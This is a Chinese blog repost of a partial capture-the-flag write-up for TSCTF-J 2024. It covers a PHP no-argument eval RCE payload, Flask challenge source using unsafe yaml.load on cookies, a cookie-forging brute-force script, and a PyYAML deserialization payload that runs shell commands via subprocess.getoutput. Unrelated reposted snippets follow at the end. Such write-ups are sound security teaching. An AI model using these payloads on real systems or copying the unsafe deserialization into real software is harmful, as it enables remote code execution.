TSCTF-J 2024秋部分wp

news/2024/11/17 16:39:49/文章来源:https://www.cnblogs.com/meraklbz/p/18426538

RCE ME !!!

一道签到,无参数RCE.

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){$cmd= $_GET['cmd'];if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd)) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd)) {if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd)){@eval($cmd);}else{die("不是,哥们!");}}else{die("真的是这样吗?");}}else{die("是这样的吗?");}
}

实际上看到第二个preg就会意识到考察的是无参数rce,使用payload如下就能打

eval(end(current(get_defined_vars())));&a=phpinfo();

flag放在了环境变量中

alpaca_search

本来是没有这道题的,但是在比赛时发现没有发包题.去年好歹有个十年之约,索性临场搞一个.
后端逻辑如下:

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sysapp = Flask(__name__)
app.secret_key = 'super_secret_key'# 使用的用户凭证
valid_username = "admin"
valid_password = "guest"# 伪造的flag存储文件
FLAG_PATH = "flag"# 基础页面样式
base_styles = '''<style>body {font-family: Arial, sans-serif;background-color: #f4f4f4;margin: 0;padding: 0;display: flex;justify-content: center;align-items: center;height: 100vh;}.container {background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;}h2 {text-align: center;color: #333;}form {display: flex;flex-direction: column;}input[type="text"], input[type="password"], input[type="number"] {padding: 10px;margin: 10px 0;border: 1px solid #ccc;border-radius: 5px;font-size: 16px;}input[type="submit"] {background-color: #5cb85c;color: white;padding: 10px;border: none;border-radius: 5px;cursor: pointer;font-size: 16px;margin-top: 10px;}input[type="submit"]:hover {background-color: #4cae4c;}p {color: #666;font-size: 14px;text-align: center;}.error {color: red;text-align: center;margin-top: 10px;}.rules {font-size: 14px;margin-bottom: 20px;color: #555;}</style>
'''# 登录页面HTML
login_page = '''''' + base_styles + '''<div class="container"><h2>Login</h2><p>Please log in to find the alpaca.</p><form method="POST" action="/login"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><input type="submit" value="Login"></form>{% if error %}<p class="error">{{ error }}</p>{% endif %}</div>'''# 猜数字页面HTML
guess_page = '''''' + base_styles + '''<div class="container"><h2>Search the alpaca</h2><div class="rules"><p>Game Rules:</p><ol><li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li><li>If you guess the correct number 1000 times, you will receive the flag.</li><li>Oh, I do think you can find him</li></ol></div><form method="POST" action="/guess"><input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br><input type="submit" value="Submit"></form><p>{{ message }}</p></div>'''# 修正解码前的 Base64 字符串填充
def pad_base64(data):missing_padding = len(data) % 4if (missing_padding):data += '=' * (4 - missing_padding)return data@app.route('/login', methods=['GET', 'POST'])
def login():error = Noneif request.method == 'POST':username = request.form['username']password = request.form['password']if username == valid_username and password == valid_password:user_data = [{'username': username, 'password': password}]serialized_data = yaml.dump(user_data)encoded_data = base64.b64encode(serialized_data.encode()).decode()resp = make_response(redirect(url_for('guess')))resp.set_cookie('session', encoded_data)return respelse:error = "Invalid credentials"return render_template_string(login_page, error=error)@app.route('/guess', methods=['GET', 'POST'])
def guess():session_data = request.cookies.get('session')if not session_data:return redirect(url_for('login'))debug_info = ""try:# 修正解码前的 Base64 字符串session_data = pad_base64(session_data)# 处理 URL 编码后的 Base64 字符串session_data = session_data.replace('-', '+').replace('_', '/')# Base64 解码decoded_data = base64.b64decode(session_data.encode()).decode()# HTML 实体解码unescaped_data = html.unescape(decoded_data)# YAML 反序列化user_info = yaml.load(unescaped_data)  # 使用完整的 Loader# 将反序列化后的结果转换为字符串debug_info += f"\n{user_info}\n"except Exception as e:debug_info = f"Error during session processing: {str(e)}"message = ""if request.method == 'POST':try:guess = int(request.form['guess'])correct_number = random.randint(0, 99)  # 修改随机数范围为0到99if guess == correct_number:if request.cookies.get('counter'):counter = int(request.cookies.get('counter'))else:counter = 0counter += 1if counter >= 1000:with open(FLAG_PATH, 'r') as f:flag = f.read()return flagelse:resp = make_response(render_template_string(guess_page, message=f'Correct! Counter: {counter}\n{debug_info}'))resp.set_cookie('counter', str(counter))return respelse:message = "Incorrect guess. Try again."except ValueError:message = "Invalid input. Please enter a number between 0 and 99."return render_template_string(guess_page, message=message + "\n" + debug_info)# 根路径重定向到登录页面
@app.route('/')
def index():return redirect(url_for('login'))if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

首先admin和guest弱密码登录.然后去进行游戏.
不难发现在对了一次后包中的cookie存在counter.直接伪造cookie进行发包,写出脚本如下.

import requestsurl = "http://challenges.hazmat.buptmerak.cn:21762/guess"
header = {'Host': 'challenges.hazmat.buptmerak.cn:20761','Cookie': f"session = LSB7cGFzc3dvcmQ6IGd1ZXN0LCB1c2VybmFtZTogYWRtaW59Cg ==;counter = 999"}a = ''
while True:for i in range(0, 100):data = {'guess': f'{i}'}response = requests.post(url, headers=header, data=data)a = response.textif 'Tsctf' in a:breakif 'Tsctf' in a:breakprint(a)

alpaca_search_again

后端代码逻辑如下

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sysapp = Flask(__name__)
app.secret_key = 'super_secret_key'# 使用的用户凭证
valid_username = "admin"
valid_password = "admin"# 伪造的flag存储文件
FLAG_PATH = "flag"# 基础页面样式
base_styles = '''<style>body {font-family: Arial, sans-serif;background-color: #f4f4f4;margin: 0;padding: 0;display: flex;justify-content: center;align-items: center;height: 100vh;}.container {background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;}h2 {text-align: center;color: #333;}form {display: flex;flex-direction: column;}input[type="text"], input[type="password"], input[type="number"] {padding: 10px;margin: 10px 0;border: 1px solid #ccc;border-radius: 5px;font-size: 16px;}input[type="submit"] {background-color: #5cb85c;color: white;padding: 10px;border: none;border-radius: 5px;cursor: pointer;font-size: 16px;margin-top: 10px;}input[type="submit"]:hover {background-color: #4cae4c;}p {color: #666;font-size: 14px;text-align: center;}.error {color: red;text-align: center;margin-top: 10px;}.rules {font-size: 14px;margin-bottom: 20px;color: #555;}</style>
'''# 登录页面HTML
login_page = '''''' + base_styles + '''<div class="container"><h2>Login</h2><p>Please log in to find the alpaca.</p><form method="POST" action="/login"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><input type="submit" value="Login"></form>{% if error %}<p class="error">{{ error }}</p>{% endif %}</div>'''# 猜数字页面HTML
guess_page = '''''' + base_styles + '''<div class="container"><h2>Search the alpaca</h2><div class="rules"><p>Game Rules:</p><ol><li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li><li>If you guess the correct number 1000 times, you will receive the flag.</li><li>Oh, I do think you can find him</li></ol></div><form method="POST" action="/guess"><input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br><input type="submit" value="Submit"></form><p>{{ message }}</p></div>'''# 修正解码前的 Base64 字符串填充
def pad_base64(data):missing_padding = len(data) % 4if (missing_padding):data += '=' * (4 - missing_padding)return data@app.route('/login', methods=['GET', 'POST'])
def login():error = Noneif request.method == 'POST':username = request.form['username']password = request.form['password']if username == valid_username and password == valid_password:user_data = [{'username': username, 'password': password}]serialized_data = yaml.dump(user_data)encoded_data = base64.b64encode(serialized_data.encode()).decode()resp = make_response(redirect(url_for('guess')))resp.set_cookie('session', encoded_data)return respelse:error = "Invalid credentials"return render_template_string(login_page, error=error)@app.route('/guess', methods=['GET', 'POST'])
def guess():session_data = request.cookies.get('session')if not session_data:return redirect(url_for('login'))debug_info = ""try:# 修正解码前的 Base64 字符串session_data = pad_base64(session_data)# 处理 URL 编码后的 Base64 字符串session_data = session_data.replace('-', '+').replace('_', '/')# Base64 解码decoded_data = base64.b64decode(session_data.encode()).decode()# HTML 实体解码unescaped_data = html.unescape(decoded_data)# YAML 反序列化user_info = yaml.load(unescaped_data)  # 使用完整的 Loader# 将反序列化后的结果转换为字符串debug_info += f"\n{user_info}\n"except Exception as e:debug_info = f"Error during session processing: {str(e)}"message = ""if request.method == 'POST':try:guess = int(request.form['guess'])message = "Incorrect guess. Try again."except ValueError:message = "Invalid input. Please enter a number between 0 and 99."return render_template_string(guess_page, message=message + "\n" + debug_info)# 根路径重定向到登录页面
@app.route('/')
def index():return redirect(url_for('login'))if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

和alpaca_search相比删除了后端进行回合计数的逻辑.也就说,靠counter去跳过回合不可用了.
我们发现cookie中存在session为LSB7cGFzc3dvcmQ6IGFkbWluLCB1c2VybmFtZTogYWRtaW59Cg==,base64解码如下
image
熟悉的话会发现这是个yaml数据,显然有说法(有时也会触发pyyaml报错)
打pyyaml<5.1版本RCE.
由于需要在web端有回显,所以需要捕获标准输出而不能将其输出在控制台.选用getoutput(或check_output).

!!python/object/apply:subprocess.getoutput ["ls"]

进行base64编码,然后直接放到session中即可执行.
image
读flag的payloadISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuZ2V0b3V0cHV0IFsiY2F0IGZsYWciXQo=
如果是用check_output则需要构造一下
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/802066.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据库连接失败,请检查数据库服务

当你遇到数据库连接失败的问题时,可以按照以下步骤来检查和解决问题:确认数据库服务状态:检查数据库服务是否正在运行。你可以通过服务管理工具(如Windows的服务管理器或Linux的systemctl命令)来查看数据库服务的状态。 对于特定的数据库系统,也可以使用数据库自带的命令…

网站打不开数据库错误等常见问题解决方法

当遇到网站打不开且出现数据库错误等问题时,可以采取以下步骤进行排查和解决:检查默认页面:如果网站显示“主机开设成功!”或者“恭喜,lanmp安装成功!”这样的信息,这可能是服务器默认放置的页面。检查wwwroot目录下是否有自己的程序文件,如果没有,上传正确的文件,并…

网站数据库错误的原因通常包括配置错误、编码错误、硬件故障、网络问题、数据损坏、权限设置不当、软件更新不兼容、SQL注入攻击等

网站数据库错误可能由多种因素引起,主要包括以下几点:配置错误:数据库或应用程序的配置不当可能导致连接失败或其他运行时错误。 编码错误:程序中的逻辑错误或语法错误也可能导致数据库操作失败。 硬件故障:服务器硬件出现问题,如硬盘损坏、内存故障等,会影响数据库的正…

网站数据库为什么错误呢

当网站数据库出现错误时,可能有多种原因。以下是一些常见的原因及解决方法: 常见原因及解决方法内存限制问题症状:内存耗尽,如“Allowed memory size of 134217728 bytes exhausted”。 解决方法:修改 php.ini 文件中的 memory_limit 配置项。 在 PHP 脚本中使用 ini_set …

为什么数据库查询总是报错

数据库查询总是报错可能有以下几个常见原因:SQL语句错误:语法错误:SQL语句编写不正确,比如缺少分号、括号不匹配等。 表或列不存在:查询中引用了不存在的表名或字段名。 查询条件错误:WHERE子句中的条件表达式错误,比如比较运算符使用不当、值类型不匹配等。数据库连接问…

mac输入法 cpu占用,解决mac使用输入法出现卡顿延迟

1、介绍 网上有各种方法,例如有touchbar的macbook关闭输入建议;定时重启“简体中文输入法”进程;关闭“显示器具有单独的空间” 这些方法网上都能看到,有些人说能解决,有些人说还是卡,我试过了问题依然存在。 网上还有一种思路就是换第三方输入法,一般推荐的都是搜狗输入…

中电金信 :基于开放架构的私有云建设实践

​ 01开放架构私有云诞生背景随着国产化创新建设的深化,产业侧行业软件持续进行云原生改造,金融机构拥抱云和容器技术,实现数智化转型已是大势所趋。近年,云原生技术以及架构发展速度更是惊人,私有云开始有了新架构、有了能解决中小金融机构私有云建设中问题和需求的方法。…

使用Docker或WSL2加速搭建GIS开发环境

Accelerate Your Development Environment with Docker & WSL2 ​​ Welcome to accelerate your development environment with WSL to and darker. Im Kris Daugherty and Im here today with my colleague, Andrew breeding. Were from the GIS solutions and developme…

Text to Image AI Generator All In One

Text to Image AI Generator All In One 文生图 AIText to Image AI Generator All In One文生图 AIdemos prompt: A cat sitting in a watermelon field looking at a Mac Book computerhttps://deepai.org/machine-learning-model/cute-creature-generatorhttps://www.canva.…

函数支持,Fast Request 2024.1.7 发布

Fast Request是一个类似于 Postman 的 IDEA 插件。它是一个强大的 restful api 工具包插件,可以根据已有的方法帮助您快速、自动生成 url 和 params。 Restful Fast Request = API 调试工具 + API 管理工具 + API 搜索工具。 它有一个漂亮的界面来完成请求、检查服务器响应、存…

深度解析APS系统异常预警处理:从识别到解决的全流程策略

订单发生变更 当企业接收到产品加工订单发生变更的通知时,立即启动快速响应机制。包括指派专人负责跟进此事,并确保该信息能够迅速传递到所有相关部门和人员。同时,直接访问APS(高级计划与排程)系统,准备对受影响的订单进行详细审查。 1.确认变更 在APS系统中,详细检查发…

使用 fabric.js 开发移动端 H5 图片编辑器

移动端 H5 图片图片编辑编辑器开发实践细节,包括自定义字体、模板切换、特效字体、文字排版等功能,手把手教你开发图片编辑器。大家好,我是开源图片编辑器的 https://github.com/ikuaitu/vue-fabric-editor 的作者,它是一款基于 PC 版本的开源图片编辑器。 最近很多开发者咨…